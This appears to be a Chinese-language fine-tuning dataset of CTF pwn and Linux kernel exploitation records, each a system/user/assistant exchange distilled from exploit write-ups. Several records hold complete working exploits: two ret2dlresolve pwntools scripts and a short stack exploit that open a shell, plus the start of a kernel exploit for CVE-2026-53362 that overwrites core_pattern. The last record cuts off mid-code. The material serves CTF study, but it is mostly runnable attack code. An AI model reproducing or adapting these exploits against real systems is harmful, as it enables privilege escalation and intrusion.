{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a076b83a4a9111f4f04b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Reclaiming the dangling page as a leaf PTE page」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Reclaiming the dangling page as a leaf PTE page\n\nThe exploit is pinned to CPU 0 so the skb grooming, page free, and page-table\nallocation use the same CPU-local allocator state. Before dropping the holding\nreferences, it reserves a 3 GiB anonymous mapping, aligns a 2 GiB working\nwindow to a 1 GiB boundary, and marks the mapping `MADV_NOHUGEPAGE`. One page\nin each GiB is touched to populate the upper page-table levels without\nallocating the leaf page used by the reclaim attempt.\n\nAfter the source page's refcount reaches zero, the exploit faults 31 pages at\n4 KiB intervals beginning 2 MiB into the aligned window. These faults require\na fresh order-0 leaf PTE page. If the allocator returns the recently freed\npipe page, the stale `wp` buffer and the page-table walker now refer to the\nsame physical page.\n\nThe source pipe originally covered 256 bytes filled with `0x41`. Reading\n31 PTE-sized values, or 248 bytes, through the stale pipe checks the reclaim:\n\n- If all 248 bytes are still `0x41`, the selected page was not reused as the\n  leaf page table.\n- If the bytes changed and at least one entry is present with a plausible\n  physical address, the pipe is exposing the new PTE page.\n\nThe 248-byte read also advances the pipe buffer to offset 248 with eight bytes\nremaining. The exploit then appends eight known-good PTE values. Because the\nbuffer retains `PIPE_BUF_FLAG_CAN_MERGE`, those 64 bytes are written at page\noffsets 256 through 319, corresponding to PTE slots 32 through 39. The next\npipe write therefore begins at PTE slot 40, beyond the 31 entries keeping the\nreclaim mapping alive.\n\nIf the small-head reuse or page-table reclaim does not occur, the exploit does\nnot retry in-process. It pauses instead of unmapping or closing the stale\nobjects, avoiding unsafe teardown after a partially successful attempt.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5f11f248576c1144", "original_line": 391, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a0fa70619e27e02ad53e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「BROP」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## BROP\n\nBROP（Blind ROP）在 CTF WIKI 中被归类为中级 ROP，通常我简称为盲打，因为是在没有对应程序的源代码或者二进制文件下，对程序进行攻击，劫持程序的执行流。\n\n**攻击条件**\n\n1. 源程序必须存在栈溢出漏洞，以便于攻击者可以控制程序流程。\n2. 服务器端的进程在崩溃之后会重新启动，并且重新启动的进程的地址与先前的地址一样（这也就是说即使程序有ASLR 保护，但是其只是在程序最初启动的时候有效果）。目前 nginx，MySql，Apache，OpenSHH 等服务器程序都是符合这种特性的。\n\n**攻击原理**\n\n目前，大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护，以及如何进行攻击。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-59ed776402f30b06", "original_line": 599, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a1a5aa17bb5d47850e76", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「tcache机制」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## tcache机制\n\n`tcache` 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术，目的是提升堆管理的性能，与`fast bin`类似。`tcache` 引入了两个新的结构体，`tcache_entry` 和 `tcache_perthread_struct` 。\n\n`tcache_entry` 定义如下：\n\n```c\ntypedef struct tcache_entry\n{\n  struct tcache_entry *next;\n} tcache_entry;\n```\n\n`tcache_entry` 用于链接空闲的`chunk`结构体，其中的`next`指针指向下一个大小相同的`chunk`。需要注意的是这里的`next`指向`chunk`的`user data`，而`fast bin`的`fd`指向`chunk`开头的地址。而且，`tcache_entry` 会复用空闲 `chunk` 的`user data`部分。\n\n`tcache_perthread_struct` 定义如下：\n\n```c\ntypedef struct tcache_perthread_struct\n{\n  char counts[TCACHE_MAX_BINS];\n  tcache_entry *entries[TCACHE_MAX_BINS];\n} tcache_perthread_struct;", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-020c221132ffeb0e", "original_line": 56, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a3e0235013af43ff7984", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc2_64.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc2_64.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `makecall`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x112`, `0x800`, `0x20740`, `0x6E406`, `0x8eb46`, `0x3c5720`, `0x400510`, `0x4005e0`, `0x400676`, `0x4006ab`, `0x400790`, `0x4007AA`, `0x4007b3`, `0x600ea8`, `0x600eb8`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\nfrom pwn import *\n\n#需修改:文件名、溢出偏移、gadget地址、各节地址\nfpath = './bof'\noffset = 112\nlength = 0x100\nstack_size = 0x800\nmain_addr=0x400676\np6_addr=0x4007AA\ncall_addr=0x400790\nleave_ret=0x4006ab\np_rbp_ret=0x4005e0\np_rdi_ret=0x4007b3\n\nelf = ELF(fpath)\nwrite_got=elf.got['write']\nread_got=elf.got['read']\nread_plt = elf.plt['read']\nwrite_plt = elf.plt['write']\ngot_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008\nbss_addr =elf.get_section_by_name('.bss').header.sh_addr\nbase_stage = bss_addr + stack_size\n#print 'got_8=',hex(got_8)\n\n#x/100xw  GOT[8]\nfake_link_map=elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nfake_st_value=0x8eb46-0x20740\nfake_r_offset=0x3c5720-0x20740   #这里是为了使l_addr+r_offset指向可写的地址\nval_0x68=base_stage+0xc0-8    #0x600ea8\nval_0x70=base_stage+0xc0-8    #0x600eb8\nval_0xf8=base_stage+0xc0-8    #0x600f28\nwait_time=0.1\n\ndef makecall(addr, rdi, rsi, rdx, tail = 0):\n    payload = ''\n    payload += p64(p6_addr)\n    payload += p64(0x0)\n    payload += p64(0x1)\n    payload += p64(addr)\n    payload += p64(rdx)\n    payload += p64(rsi)\n    payload += p64(rdi)\n    payload += p64(call_addr)\n    if (tail):\n        payload += p64(0x0) * 7 + p64(tail)\n    return payload\n\np = process(fpath)\nprint p.recv()        # 'Welcome to XDCTF2015~!\\n'\n\n#1.往fake_link_map+0x68写值\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,fake_link_map+0x68,16,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\nsleep(wait_time)\np.send(p64(val_0x68)+p64(val_0x70))\n\n#2.往fake_link_map+0xf8写值\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,fake_link_map+0xf8,8,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\nsleep(wait_time)\np.send(p64(val_0xf8))\n\n#3.往base_stage写入伪造结构并跳过去\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400\npayload+=p64(0)*2+p64(base_stage)+p64(0)*4\npayload+=p64(leave_ret)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\n\n\n#4.bss数据：rop-参数放在寄存器/ 伪造结构\n#(1)确定各个节的地址\nplt_0 = 0x400510 # objdump -d -j .plt bof\nplt_1 = plt_0+6\n#(2)确定重定位下标\nalign = 24 - (56 % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小\nindex_offset = base_stage + 7*8 + align\nindex = (7*8 + align) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移\n#(3)确定动态链接符号下标\nalign = 24 - ((13*8) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小\nfake_sym_addr = base_stage + 13*8 + align\nindex_dynsym = (13*8 + align) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号\n#(4)伪造重定位结构+动态链接结构\nr_info = (index_dynsym << 32) | 0x7\nfake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)\nfake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)\n\npayload2 = 'AAAAAAAA'\npayload2 += p64(p_rdi_ret)\npayload2 += p64(base_stage+0xc0)   #/bin/sh\npayload2 += p64(plt_1)\npayload2 += p64(fake_link_map)   #\npayload2 += p64(index)       #jmprel 下标参数\npayload2 += 'AAAAAAAA'       #返回地址\n#payload2 += 'aaaaaaaa'\n\npayload2 = payload2.ljust(index_offset-base_stage,'B')\npayload2 += fake_reloc # index_offset(base_stage+7*8)的位置\npayload2 = payload2.ljust(fake_sym_addr-base_stage,'B')\npayload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置\npayload2 = payload2.ljust(0xc0,'\\x00')\npayload2 += p64(base_stage)\npayload2 = payload2.ljust(0xd0,'\\x00')\n\ngdb.attach(p,'b *0x4006ab')\nraw_input('wait!!\\n')\np.send(payload2)\np.interactive()\n\n#目标：0x8eb46 : cmp byte ptr [rax], dl ; ret\n#>>> hex(elf.symbols['__libc_start_main'])\n#'0x20740'\n#0x8eb46-0x20740=0x6E406\n\n#lib_bss_addr=0x3c5720\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-09d0a6927e4228d8", "original_line": 538, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc2_64.py", "split": "train", "split_group_key": "3057dd034f8b492e1552f435"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc2_64.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a40df2aad61acf969c64", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/不泄露地址执行onegadget/exploit.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/不泄露地址执行onegadget/exploit.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `makecall`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x112`, `0x800`, `0x20740`, `0x4526a`, `0xf02a4`, `0xf1147`, `0x3c5720`, `0x400676`, `0x400760`, `0x40077A`, `0x600ea8`, `0x600eb8`, `0x600f28`, `0x601008`, `0x0000000000400520`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\nfrom pwn import *\n\n#需修改:文件名、溢出偏移、gadget地址、各节地址\nfpath = './bstack'\noffset = 0x70\nlength = 0x100\nstack_size = 0x800\nmain_addr=0x400676\np6_addr=0x40077A\ncall_addr=0x400760\nleave_ret=0x00000000004006AB\np_rbp_ret=0x00000000004005e0\np_rdi_ret=0x0000000000400783\n\nelf = ELF(fpath)\nread_got=elf.got['read']\nread_plt = elf.plt['read']\ngot_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008\nbss_addr =elf.get_section_by_name('.bss').header.sh_addr\nbase_stage = bss_addr + stack_size\n#print 'got_8=',hex(got_8)\n\n#x/100xw  GOT[8]\nfake_link_map=elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nfake_st_value=0x4526a-0x20740    #0x4526a   0xf02a4     0xf1147\nfake_r_offset=0x3c5720-0x20740\nval_0x68=base_stage+0xc0-8    #0x600ea8\nval_0x70=base_stage+0xc0-8    #0x600eb8\nval_0xf8=base_stage+0xc0-8    #0x600f28\nwait_time=0.1\n\ndef makecall(addr, rdi, rsi, rdx, tail = 0):\n    payload = ''\n    payload += p64(p6_addr)\n    payload += p64(0x0)\n    payload += p64(0x1)\n    payload += p64(addr)\n    payload += p64(rdx)\n    payload += p64(rsi)\n    payload += p64(rdi)\n    payload += p64(call_addr)\n    if (tail):\n        payload += p64(0x0) * 7 + p64(tail)\n    return payload\n\np = process(fpath)\n#print p.recv()        # 'Welcome to XDCTF2015~!\\n'\n\n#1.往fake_link_map+0x68写值\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,fake_link_map+0x68,16,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\nsleep(wait_time)\np.send(p64(val_0x68)+p64(val_0x70))\n\n#2.往fake_link_map+0xf8写值\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,fake_link_map+0xf8,8,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\nsleep(wait_time)\np.send(p64(val_0xf8))\n\n#3.往base_stage写入伪造结构并跳过去\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400\npayload+=p64(0)*2+p64(base_stage)+p64(0)*4\npayload+=p64(leave_ret)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\n\n\n#4.bss数据：rop-参数放在寄存器/ 伪造结构\n#(1)确定各个节的地址\nplt_0 = 0x0000000000400520 # objdump -d -j .plt bof\nplt_1 = plt_0+6\n#(2)确定重定位下标\nalign = 24 - (56 % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小\nindex_offset = base_stage + 7*8 + align\nindex = (7*8 + align) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移\n#(3)确定动态链接符号下标\nalign = 24 - ((13*8) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小\nfake_sym_addr = base_stage + 13*8 + align\nindex_dynsym = (13*8 + align) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号\n#(4)伪造重定位结构+动态链接结构\nr_info = (index_dynsym << 32) | 0x7\nfake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)\nfake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)\n\npayload2 = p64(0)#'AAAAAAAA'\npayload2 += p64(p_rdi_ret)\npayload2 += p64(base_stage+0xc0)   #/bin/sh\npayload2 += p64(plt_1)\npayload2 += p64(fake_link_map)   #\npayload2 += p64(index)       #jmprel 下标参数\npayload2 += p64(0)       #返回地址\n\npayload2 = payload2.ljust(index_offset-base_stage,'\\x00')\npayload2 += fake_reloc # index_offset(base_stage+7*8)的位置\npayload2 = payload2.ljust(fake_sym_addr-base_stage,'\\x00')\npayload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置\npayload2 = payload2.ljust(0xc0,'\\x00')\npayload2 += p64(base_stage)\npayload2 = payload2.ljust(0xd0,'\\x00')\n\np.send(payload2)\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-93893c4ec5f8d1d8", "original_line": 540, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/不泄露地址执行onegadget/exploit.py", "split": "train", "split_group_key": "0877cacadb502b851a0a8728"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/不泄露地址执行onegadget/exploit.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a4699f13a0739f6232f0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/花式栈/2024ylb-ezstack3/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/花式栈/2024ylb-ezstack3/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n关键常量/偏移样例：\n`0x08049324`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nr()\ns(b\"a\"*47+b\"c\")\nru(\"c\")\n\nebp=u32(r(4))-16\n\npayload=(b\"a\"*4+p32(elf.plt.system)+p32(0)+p32(ebp-32)+b\"/bin/sh\\x00\").ljust(0x30,b'\\x00')+p32(ebp-48)+p32(0x08049324)\n\nr()\ns(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-e2d29219540fa4cd", "original_line": 573, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2024ylb-ezstack3/exp.py", "split": "train", "split_group_key": "3d8d3f9ab81c584ab168784c"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2024ylb-ezstack3/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a48e96e0ce3d223681d2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「4. 新 Dirty-PageTable 探针结果」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md；主题：d3kheap2pro root 提权可行性分析；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 4. 新 Dirty-PageTable 探针结果\n\n新增 `xcache_probe pte-realloc-scan`：\n\n```text\nalloc used slots\nfree used slots once\nspray PTE pages\nsecond-free stale d3k slots\nscan PTE pages\nfresh alloc unused d3k slots to trigger init_on_alloc\nscan again\n```\n\n结果：\n\n- `used=256/320, spray=128`：second-free 后 PTE scan 仍 `faults=0 mismatch=0`，但 fresh alloc 进入 `kmem_cache_alloc_noprof+0x252` 并因 non-canonical freelist pointer panic；\n- `used=384` 某些运行可完整跑完且 PTE scan 正常，说明命中窗口受 page allocator 布局影响。\n\n这比早期 `targeted-scan` 更强：已经证明 stale free 能把非正常对象页挂进 d3k cache freelist，但还没把它转化成可控 PTE 写。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b30c53f5d0f3e930", "original_line": 374, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "split_group_key": "4f4730adc8ab5a373a40a258"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a4914cd461cf0f620850", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. 泄露 heap base」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 1. 泄露 heap base\n\n先申请并释放一个 `0x50` chunk：\n\n```python\nadd(1, 0x50)\ndele()\nshow()\n```\n\n释放进 tcache 后，chunk user data 起始处保存 encoded `fd`。由于第一个 tcache chunk 的 `fd` 指向 NULL，safe-linking 后泄露值近似为：\n\n```text\nheap_base >> 12\n```\n\n但程序 `show` 对每字节做了异或，所以需要还原：\n\n```python\nheap_addr = 0\nfor i in range(5):\n    val = u8(r(1))\n    heap_addr += (val ^ (0x99+i)) * 0x100**i\nheap_addr = heap_addr * 0x1000\n```\n\n这样得到 `heap_base`。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-245585cb2bd21684", "original_line": 131, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a4dc8f46b52a3498ddf4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Arbitrary Alloc」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Arbitrary Alloc\n\n一般针对 Arbitrary Alloc，我们使用字节错误来实现直接分配 fastbin 到`_malloc_hook`的位置，相当于覆盖`_malloc_hook`来控制程序流程。\n\n`_malloc_hook`附近会存在一个通过错位造成合法的fake_chunk，可以使用此chunk来修改`_malloc_hook`为one_geaget来getshell。\n\n此处的 fake_chunk 的size是0x7f，需要分配 0x60 的大小才可以。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5a1157df2ef309b3", "original_line": 77, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a510c54d8d4be29e05ca", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `die`\n- `find_core_pattern_phys`\n- `full_tlb_flush`\n- `helper_main`\n- `install_dirty_pagetable_from_pipe`\n- `looks_like_leaf_pte`\n- `main`\n- `make_udp6_socket`\n- `overwrite_core_pattern`\n- `pin_cpu`\n- `prepare_core_helper`\n- `prepare_pt_reclaim_area`\n- `prepare_stale_frag_descriptors`\n- `read_current_core_pattern`\n- `run_core_pattern_payload`\n- `set_srh_len`\n- `setup_kernelxdk_database`\n- `setup_target_data`\n- `stop_here`\n- `trigger_ipv6_frag_unref`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0xfff`, `0x1000`, `0x1337`, `0x1000000`, `0x4611740`, `0x000000000`, `0x0c0000000`, `0x100000000`, `0x120000000`, `0x130000000`, `0x000ffffffffff000`\n\n训练用代码片段：\n```c\n#ifndef _GNU_SOURCE\n#define _GNU_SOURCE\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nINCBIN(target_db, \"target_db.kxdb\");\n\n#ifndef IPV6_MTU\n#define IPV6_MTU 24\n#endif\n#ifndef IPV6_MTU_DISCOVER\n#define IPV6_MTU_DISCOVER 23\n#endif\n#ifndef IPV6_PMTUDISC_DONT\n#define IPV6_PMTUDISC_DONT 0\n#endif\n#ifndef UDP_CORK\n#define UDP_CORK 1\n#endif\n#ifndef SPLICE_F_MORE\n#define SPLICE_F_MORE 4\n#endif\n#ifndef SYS_memfd_create\n#define SYS_memfd_create 319\n#endif\n#ifndef SYS_pidfd_open\n#define SYS_pidfd_open 434\n#endif\n#ifndef SYS_pidfd_getfd\n#define SYS_pidfd_getfd 438\n#endif\n\n#define PAGE_SIZE_4K 0x1000UL\n#define PTE_PADDR_MASK 0x000ffffffffff000UL\n\n#define IPV6_EXT_LEN 320\n#define TARGET_MTU 1287\n#define FIRST_SPLICE_LEN 919\n#define SECOND_SPLICE_LEN 20\n#define SHINFO_INBUF_OFF 904\n#define PIPE_PAGE_BYTES 256\n#define STALE_FRAGS 1\n#define HOLD_PIPES 8\n#define GROOM_FIRST_PAGED_BYTES 904\n#define GROOM_TARGET_PAGED_BYTES 912\n#define GROOM_TARGET_HEADS 16\n\n#define VR_GB_COUNT 2UL\n#define VR_ALIGN (1UL << 30)\n#define VR_STRIDE (2UL << 20)\n#define SLOT_BASE 40\n#define SLOT_LIMIT 505\n\n#define CORE_PATTERN_MAX 128\n#define MAX_REASONABLE_PHYS 0x130000000ULL\n#define PHYS_SCAN_LOW_START 0x000000000ULL\n#define PHYS_SCAN_LOW_END 0x0c0000000ULL\n#define PHYS_SCAN_HIGH_START 0x100000000ULL\n#define PHYS_SCAN_HIGH_END 0x120000000ULL\n\n#define FRAGGAP_TARGET_DISTRO \"kernelctf\"\n#define FRAGGAP_TARGET_RELEASE \"lts-6.12.85\"\n#define CORE_PATTERN_LINK_SYMBOL \"fraggap_core_pattern_link_phys\"\n#define PHYS_KASLR_ALIGN_SYMBOL \"fraggap_physical_kaslr_align\"\n\nstatic void die(const char *what)\n{\n    